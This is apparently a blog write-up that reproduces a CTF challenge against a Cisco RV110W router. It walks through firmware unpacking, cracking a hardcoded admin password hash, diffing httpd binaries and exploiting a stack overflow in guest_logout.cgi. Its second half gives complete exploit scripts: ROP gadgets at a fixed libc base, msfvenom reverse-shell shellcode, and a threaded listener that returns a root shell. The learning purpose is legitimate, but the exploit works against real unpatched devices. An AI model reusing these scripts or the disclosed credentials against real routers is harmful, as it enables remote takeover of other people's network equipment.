强网杯2020决赛-cisco-RV110W-漏洞复现

一个路由器web服务漏洞复现

Posted by X1ng on November 30, 2020

看到了clang裁缝店师傅非常详细的复现wp,所以动手真机调试一下路由器,记个笔记

文章首发安全客


实验环境Ubuntu 18.04

题目

题目描述:挖掘并利用CISCO RV110W-E-CN-K9(固件版本1.2.2.5)中的漏洞,获取路由器的Root Shell,实现DNS劫持。

靶机环境:CISCO RV110W-E-CN-K9(固件版本1.2.2.5),设置后台管理密码、WIFI密码,默认关闭telnet。

附件信息:附件中提供了路由器固件(固件版本1.2.2.5,与靶机版本一致),路由器设备后台管理账号为cisco,密码为qwb2020 ,WiFi密码未设置。

展示环境拓扑:展台路由器WAN口连接互联网,选手攻击机和操作员验证机通过网线连接路由器LAN口,IP地址设置自动获取。

展示目标:选手携带自己的攻击机上台,通过有线方式连接路由器设备。在规定的时间内攻击展台路由器,获取路由器的Root Shell执行系统命令,劫持http://www.baidu.com为如下页面:

<html><br><br><br><h1 style="font-size:100px;color:red;" align="center">Hacked by BOI</h1></html>

操作人员使用验证机中的Firefox浏览器访问http://www.baidu.com查看攻击效果,确认实现DNS劫持后判定成功。

注意事项:上台展示题解的时候注意关闭exp的调试信息。

展示时操作人员操作步骤:

1) 重启路由器设备;

2) 将互联网网线连接路由器WAN口;

3) 验证机通过有线方式连接路由器设备LAN口;

4) 设置验证机的DNS服务器IP地址为路由器IP;

5) 清除浏览器历史记录,清除本机的DNS缓存;

6) 等待选手连接路由器;

7) 等待选手攻击;

8) 在规定时间内可以配合选手重启路由器设备(每次重启首先要重复步骤4,5);

9) 选手攻击完毕后,操作人员使用验证机中的浏览器访问网页验证效果;

10)攻击成功或超时后:关闭路由器。

这里只获取了路由器shell,没有完成DNS劫持

附件: RV110W_FW_1.2.2.5.bin

设备获取

从某鱼收了一个

浏览器进192.168.1.1,初始用户名密码为cisco:cisco,跟着向导配置好就可以上网了

点固件升级,将题目附件刷到路由器上去

自动重启设备后,可以看到此时固件版本已经变成题目的版本了

img

基础分析

对一个真实设备的分析可以有不同方面的各种手段:

  • 本体:设备拆解,固件提取,固件分析
  • 通信:流量抓取,端口扫描,近场无线信号分析
  • 使用:应用程序(app)逆向,云端接口分析
  • 历史:历史漏洞,分析对比历史版本的固件或app
  • 调试:各种调试接口(ssh/telnet/adb/uart/jtag),前置漏洞getshell,uboot修改init,qemu模拟

端口扫描

如果是面对一个真实的设备,我们需要了解其所有可能的攻击面,故我们需要扫描其全部的udp和tcp端口:

在对设备进行扫描的时候,若要了解其所有可能的攻击面,则需要扫描全部的udp和tcp端口

sudo nmap "192.168.1.1" -sU -sT -p0-65535

但是对于路由器题目,漏洞一般还是出现Web接口上,故扫描常用端口

nmap "192.168.1.1"

img

固件开启了telnet服务

在访问web服务的时候,80端口被重定向到了443端口

img

所以web服务对应的端口应该就是443端口

固件解包

binwalk需要安装sasquatch以解开非标准的SquashFS文件系统

sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
git clone https://github.com/devttys0/sasquatch
cd sasquatch && ./build.sh

(Ubuntu 18.04安装时没有报错)

直接binwalk分离

binwalk -Me RV110W_FW_1.2.2.5.bin

进入文件系统

cd ./_RV110W_FW_1.2.2.5.bin.extracted/squashfs-root

漏洞信息

Clang裁缝店的师傅找到CVE-2020-3330(telnet弱口令)、CVE-2020-3331(web服务)和CVE-2020-3323(web服务)三个相关的漏洞

CVE-2020-3330

分析文章:

一个字节的差错导致Cisco防火墙路由器远程代码执行

img

find . | xargs grep -ri "admin:\\\$"

在整个文件系统下搜索包含这个字符串的文件

这段命令将find命令的结果用管道传给xargs,xargs命令每次只获取一部分文件来交给grep处理

匹配的文件都在/sbin目录下而/sbin目录下的文件大多软链接到rc文件

strings sbin/rc | grep "admin:\\\$"

img

可以看到密码的哈希值$1$aUzX1IiE$x2rSbqyggRaYAJgSRJ9uC.,hashcat破解得到用户名密码为admin:Admin123,可以直接进入路由器,方便调试

img

CVE-2020-3331/CVE-2020-3323

确认目标程序

因为CVE-2020-3331和CVE-2020-3323都说的是Web,而且目标也只开放了443端口,故我们先找到Web对应的二进制程序,有两种方式:

  1. 固件搜索Web相关的二进制程序
  2. 在设备shell中查看端口绑定的进程对应的程序
  • 由于在访问web配置页面的时候url为

      https://192.168.1.1/login.cgi
    

    ,所以在文件系统中直接搜索

        grep -Rn "login.cgi"
    

    发现只有二进制文件usr/sbin/httpd匹配

  • 使用netstat查看端口绑定的进程对应程序,发现并没有netstat工具可以下载一个

    工具比较全面的busybox

    虽然我的路由器配置了wan口,但是路由器上只有wget,而wget直接访问下载链接会提示

      not an http or ftp url
    

    所以把busybox下载到虚拟机上,在路由器上通过wget下载它由于虚拟机默认与mac共用同样的ip地址,我们需要在虚拟机的网络适配器设置中将连接方式改为自动检测,这样虚拟机在局域网中就有了自己的ip地址

    img

    使用ifconfig命令查看即可看到ubuntu在局域网中的地址

    img

    然后使用python打开web服务

        python -m SimpleHTTPServer
    

    接着就可以从虚拟机将busybox下载到路由器上了

    但是要注意除了/tmp目录一般是可写的以外,其他目录一般不可写,而且再重启后/tmp目录下的文件都会都会刷新

    将busybox下载到/tmp目录下

        cd tmp
        wget "http://192.168.1.107:8000/mips/busybox-mipsel"
        chmod +x busybox-mipsel
    

    img

    成功下载后可以使用busybox里面的netstat查看443端口对应的是httpd进程

    img

    在根目录下find . | grep "httpd"查找httpd可以看到二进制文件的路径usr/sbin/httpd

    img

    可以确定存在漏洞的二进制文件就是httpd文件了

程序分析

检查一下目标文件信息

img

可以用ghidra或者IDA高版本反汇编MIPS目标程序,不过真实固件程序分析起来还是很复杂的,除了从main函数硬看还有很多取巧一点的经验办法:

  1. 看符号,程序日志log,等有含义的字符串信息
  2. 和已经修复漏洞的固件进行对比
  3. 找和已知漏洞类似的模式,因为同一款产品很有可能犯同一种错误

这里因为可以拿到新版本的固件,所以我们采用第二种方式继续分析

可以下载已经修复了这两个漏洞的固件,由于bindiff的安装出现了不可描述的问题,这里使用diaphora工具对比两个固件文件系统中的httpd文件(最新版本的diaphora需要在IDA7.4以上支持的python3环境下运行,此链接为支持python2的分支)

我将存在漏洞的httpd文件命名为httpd1,已经修复漏洞的文件命名为httpd2,便于区分

直接下载项目,ida打开一个httpd文件,在file->Script file里面选择diaphora.py脚本

img

点击ok生成sqlite文件,再用ida打开另一个httpd文件,在生成sqlite文件前,加载第一个httpd文件的sqlite文件到SQLite database to diff against

img

等待分析结束后可以查看各种匹配度的界面

img

因为是目标是前台getshell,所以目标guest_logout_cgi很可疑,右键选项中diff pseudo-code可以直接查看c伪代码,,但是由于IDA7.5才有mips反汇编的功能,只能选择下面的diff assembly看一下汇编代码

img

img

可以看到修补漏洞后的版本少了一个sscanf

伪代码是这样的

  v5 = (const char *)get_cgi("cmac");
  v10 = (const char *)get_cgi("cip");
  v11 = (const char *)get_cgi("submit_button");
  if ( !v11 )
    v11 = "";
  if ( v5 && v10 )
  {
    if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
    {
      if ( !strstr(v11, "status_guestnet.asp") )
        goto LABEL_31;
      sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);

其中sscanf的条件"%[^;];%*[^=]=%[^\n]"里,% 表示选择,%* 表示过滤,中括号括起来的是类似正则的字符集

  1. %[^;]:分号前的所有字符都要
  2. ;%*[^=]:分号后,等号前的字符都不要
  3. =%[^\n]:等号后,换行符前的所有字符都要

也就是说,如果输入字符串”aaa;bbb=ccc\n”,最终会把”aaa”写入v29,”cccc”写入v28

这里的ccc并没有长度限制,可能造成栈溢出

故分析程序路径要到达这个sscanf得有三个参数且满足对应的要求:

  1. cmac:mac地址格式
  2. cip:ip地址格式
  3. submit_button: 包含status_guestnet.asp

那么guest_logout_cgi函数对应的url路由是什么呢?很遗憾我并没有从程序中分析出来,感觉有可能是init_cgi这个函数设置的,但是继续交叉引用到父级函数就没有结果了,于是搜索字符串找到:guest_logout.cgi,估计是他,但是还是没有交叉引用分析出来。

curl -k -v https://192.168.1.1/guest_logout.cgi

测试可以访问guest_logout.cgi

img

之后可以发包测试或打断点调试,判断这个sscanf的参数是通过GET还是POST传递的

因为这里可能触发漏洞,所以最优的选择就是直接发包测试,如果程序崩了,则证明GET还是POST路径选对了,而且真的存在漏洞。不过就算程序看起来没崩,也不要灰心,因为这里要确定是否有Web程序的守护进程存在,如果存在守护进程则可能看不到打崩的效果了。

测试GET请求

import requests

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}

requests.packages.urllib3.disable_warnings()
requests.get(url, data=payload, verify=False, timeout=1)

没有反应

测试POST请求

import requests

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}

requests.packages.urllib3.disable_warnings()
requests.post(url, data=payload, verify=False, timeout=1)

发送完web页面就奔溃了(reboot重启路由器可以重新打开httpd服务)

img

可以判断参数是通过POST传递的

程序调试

可以从海特实验室搜集的各种平台的gdbserver中下载一个gdbserver上传到路由器上去,然后挂载到httpd进程上对其进行调试

但是里面的gdbserver太多了,最后试出gdbserver-7.12-mipsel-mips32rel2-v1-sysv可以用

  1. 每次打崩服务后重启ip地址都可能变化,查看虚拟机在局域网中的ip地址并且用python打开web服务Shell1:

      ifconfig
      python -m SimpleHTTPServer 8000
    
  2. telnet连接路由器后从虚拟机下载gdbserver后附加到httpd进程上Shell2(路由器):

      cd /tmp
      wget "http://192.168.1.107:8000/mips/gdbserver-7.12-mipsel-mips32rel2-v1-sysv"
      chmod +x gdbserver-7.12-mipsel-mips32rel2-v1-sysv
      ps | grep "httpd"
      ./gdbserver-7.12-mipsel-mips32rel2-v1-sysv :1234 --attach 350
    

    img

    (在附加到342进程时无法调试)

  3. 使用gdb-multiarch加载httpd文件进行远程调试Shell3:

      gdb-multiarch httpd1
        
      set architecture mips
      set endian little
      target remote 192.168.1.1:1234
      c
    
  4. 发送payloadShell4:使用

     cyclic 100
    

    生成的字符串

     "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
    

    来测试偏移

      import requests
        
      url = "https://192.168.1.1/guest_logout.cgi"
      payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa',"cip":"192.168.1.100"}
        
      requests.packages.urllib3.disable_warnings()
      requests.post(url, data=payload, verify=False, timeout=1)
    

可以在gdb调试窗口上看到此时httpd已经崩溃了

img

计算出栈中pc的偏移

pwndbg> cyclic -l aaaw
85

漏洞利用

由于mips架构下不支持NX保护,所以其利用思路一般都是ROP+shellcode

而这里是sscanf溢出,payload中要绕过\x00,但是程序本身的gadget都是含有\x00

img

思科的这个设备,httpd进程的libc基址就是2af98000,无论你是重启进程,还是升级版本,这个基址都不变

问了常老师,再次猜测可能是为了效率,编译的时候就把内核的这个功能干掉了,或者当前平台压根就不支持这个功能。先存疑,总之我们发现动态库的基址都是不变的,故我们可以使用程序加载的动态库中的gadget。

暂时没有搞清楚mips架构下的地址随机化

所以可以通过ret2libc+shellcode来完成利用

从文件系统中找到动态链接库/lib/libc.so.0,使用mipsrop插件寻找可用的gadget

然而我在libc的idb文件中使用mipsrop插件时报错

Traceback (most recent call last):
File "D:/IDA 7.0/plugins/mipsrop.py", line 721, in activate
mipsrop = MIPSROPFinder()
File "D:/IDA 7.0/plugins/mipsrop.py", line 208, in init
self._initial_find()
File "D:/IDA 7.0/plugins/mipsrop.py", line 226, in _initial_find
self.system_calls += self._find_system_calls(start, end)
File "D:/IDA 7.0/plugins/mipsrop.py", line 393, in _find_system_calls
if ea >= start_ea and ea <= end_ea and idc.GetMnem(ea)[0] in ['j', 'b']:
IndexError: string index out of range

应该是在搜索系统调用相关gadget的时候发生了错误,打开mipsrop.py文件,注释掉报错的地方,并直接返回一个空列表

img

插件可以正常工作了,就是应该少了系统调用相关的gadget

img

找到有用的gadget

|  0x000257A0  |  addiu $a0,$sp,0x58+var_40  |  jalr  $s0  |
|  0x0003D050  |  move $t9,$a0  |  jalr  $a0  |

只要将shellcode写到$sp+0x18处,将s0覆盖为0x0003D050,将返回地址覆盖为0x000257A0,就可以在第一个gadget处先将shellcode的地址放到a0寄存器,然后跳转到第二个gadget跳转到shellcode上

shellcode可以用msfvenom生成或从shell-storm找到

(pwntools生成的shellcode是有\x00的,而自带的encode函数也不支持mips架构)

msfvenom食用方法:

Metasploit:如何使用 msfvenom

这里从msfvenom生成回连的shell

msfvenom -p linux/mipsle/shell_reverse_tcp  LHOST=192.168.1.102 LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py

shellcode:

buf =  b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x66\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"

exp:

import requests
from pwn import *
context(arch='mips',endian='little',os='linux')

libc = 0x2af98000
jmp_a0 = libc + 0x0003D050  # move  $t9,$a0             ; jalr  $a0

jmp_s0 = libc + 0x000257A0  # addiu $a0,$sp,0x38+var_20 ; jalr  $s0 


#LHOST=192.168.1.102 LPORT=8888


buf =  b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x66\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"

pd1 = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+'b'*(85-49-4)+p32(jmp_s0)+'c'*0x18+buf

url = "https://192.168.1.1/guest_logout.cgi"
pd2 = {
"cmac":"12:af:aa:bb:cc:dd",
"submit_button":pd1,
"cip":"192.168.1.100"
}

requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False, timeout=1)

下断点调试可以看到程序执行流已经成功跳转到栈上的shellcode

img

但是这样要先开一个shell等待连接

学习一下师傅在一个py脚本中通过多线程和网络编程完成攻击的方法

exp:

from pwn import *
import thread,requests

context(arch='mips',endian='little',os='linux')


libc = 0x2af98000
jmp_a0 = libc + 0x0003D050  # move  $t9,$a0             ; jalr  $a0

jmp_s0 = libc + 0x000257A0  # addiu $a0,$sp,0x38+var_20 ; jalr  $s0 


#LHOST=192.168.1.101 LPORT=8888

buf =  b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"


url = "https://192.168.1.1/guest_logout.cgi"
pd1 = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+'b'*(85-49-4)+p32(jmp_s0)+'c'*0x18+buf
pd2 = {"cmac":"12:af:aa:bb:cc:dd","submit_button":pd1,"cip":"192.168.1.100"}

def attack():
    try: 
        requests.packages.urllib3.disable_warnings()
        requests.post(url, data=pd2, verify=False,timeout=1)
    except: 
        pass

io = listen(8888)
#创建一个TCP或UDP套接字以接收数据


thread.start_new_thread(attack,())
#开始一个新的线程,从attack函数开始运行


io.wait_for_connection()
#阻塞直到建立连接


log.success("getshell")
io.interactive()

参考资料

Clang裁缝店

2020强网杯决赛Cisco路由器

快速破解各种散列Hash

360代码卫士帮助思科公司修复多个产品高危安全漏洞(附详细技术分析)

pwntools文档